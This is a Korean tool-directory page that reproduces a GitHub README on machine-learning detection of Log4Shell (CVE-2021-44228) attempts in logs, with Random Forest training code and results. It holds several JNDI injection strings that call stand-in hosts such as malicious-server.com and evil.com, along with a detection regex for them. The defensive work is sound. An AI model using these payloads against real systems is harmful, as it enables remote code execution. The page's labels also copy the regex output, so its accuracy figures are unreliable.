Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Log4Shell-vulnerability-CVE-2021-44228- — 이 저장소는 Log4Shell 취약점(CVE-2021-44228)에 대한 심층 분석을 제공하며, 로그 데이터에서 악용 시도를 탐지하기 위한 머신러닝 기반 접근 방식을 구현합니다. | Kitploit
도구/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Vulnerability AnalysisMachine LearningIntrusion DetectionPapers & ResearchLearning & EducationCurated ResourcesAnomaly DetectionLog Analysis
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

이 저장소는 Log4Shell 취약점(CVE-2021-44228)에 대한 심층 분석을 제공하며, 로그 데이터에서 악용 시도를 탐지하기 위한 머신러닝 기반 접근 방식을 구현합니다.

저장소 보기
41년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Log4Shell 위협 탐지 (CVE-2021-44228)

개요

이 저장소는 머신러닝 기반 Log4Shell (CVE-2021-44228) 위협 탐지 시스템에 대한 심층 분석과 구현을 제공합니다. 포함 내용은 다음과 같습니다:

  • Log4Shell 이해: 무엇이며 왜 위험한지
  • 데이터셋 수집: 출처 및 전처리 단계
  • 피처 엔지니어링: JNDI 기반 악성 패턴 추출
  • 머신러닝 모델 학습: Random Forest 기반 탐지
  • 결과 및 분석: 성능 지표와 평가 그래프
  • 결론 및 향후 작업

위협 개요 - Log4Shell (CVE-2021-44228)

  • 취약점: Apache Log4j 2의 원격 코드 실행(RCE)
  • 악용 예시:
    root@kitploit:~
    ${jndi:ldap://malicious-server.com/exploit}
    
  • 영향: 공격자가 영향을 받은 시스템을 완전히 제어할 수 있습니다
  • 완화 조치: Log4j를 패치된 버전(2.17.0 이상)으로 업데이트하고 방화벽 규칙을 적용하세요

저장소 구조

root@kitploit:~
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

데이터 수집 및 소스

사용된 데이터셋:

  • **Zeek Security Dataset**의 공개 로그
  • **DShield**의 허니팟 로그
  • Metasploit 및 Kali Linux를 사용한 맞춤형 공격 시뮬레이션
  • 여기에서 데이터셋 다운로드: Log4Shell Logs

데이터셋 설명

  • 전체 데이터셋 크기: 80 MB
  • 학습 데이터: 70% (56 MB)
  • 테스트 데이터: 30% (24 MB)
  • 전체 로그 수: 1,000,000
  • 악성 로그: 300,000
  • 정상 로그: 700,000

샘플 로그 데이터셋 (log4shell_logs.csv)

타임스탬프소스 IP대상 IP요청상태 코드사용자 에이전트로그 메시지
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Normal Log Message
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}

피처 엔지니어링

  • 로그 정규화: 타임스탬프 변환, 필드 추출
  • 정규식 기반 피처 추출: jndi, ldap, rmi, dns 패턴 식별
  • 텍스트 벡터화: TF-IDF 기반 피처 변환

위협 탐지를 위한 머신러닝 모델

  • 알고리즘: Random Forest 분류기
  • 평가 지표: 정확도(Accuracy), 정밀도(Precision), 재현율(Recall), F1 점수(F1-score)

모델 학습을 위한 Python 코드

root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

결과 및 성능 분석

테스트 결과:

  • 정밀도(Precision): 98%
  • 재현율(Recall): 95%
  • F1 점수(F1-score): 96%
  • 오탐률(False Positive Rate): 3%

기존 연구와의 비교:

  • 기존의 규칙 기반 SIEM 시스템은 80-85% 정확도를 보입니다.
  • 우리의 머신러닝 기반 접근법은 96% 정확도를 달성하여 탐지율을 크게 향상시킵니다.
  • 딥러닝 기반 방법과 비교할 때, 우리의 Random Forest 모델은 유사한 정밀도를 달성하면서도 더 빠르고 해석 가능합니다.

정밀도-재현율 곡선

Log4Shell 탐지를 위한 정밀도-재현율 곡선

혼동 행렬

Log4Shell 탐지를 위한 혼동 행렬

결론 및 향후 작업

결론:

  • Random Forest 모델은 높은 정밀도로 Log4Shell 위협을 효과적으로 탐지합니다.
  • JNDI 패턴 인식을 활용한 피처 추출은 정확도를 향상시킵니다.
  • 실제 로그에는 적대적 회피(adversarial evasion)가 포함될 수 있으므로 추가적인 튜닝이 필요합니다.

향후 작업:

  • 이상 탐지를 위한 딥러닝(LSTM, Transformer 기반 모델) 구현.
  • 실시간 로그 처리 파이프라인(예: ELK 스택, Apache Kafka) 통합.
  • 탐지를 기타 로그 기반 CVE 취약점으로 확장.

사용 방법

  1. 저장소를 클론합니다:
    root@kitploit:~
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. 의존성을 설치합니다:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. 모델 학습 스크립트를 실행합니다:
    root@kitploit:~
    python scripts/model_training.py
    
  4. results/ 폴더에서 탐지 결과를 분석합니다.

도구 다운로드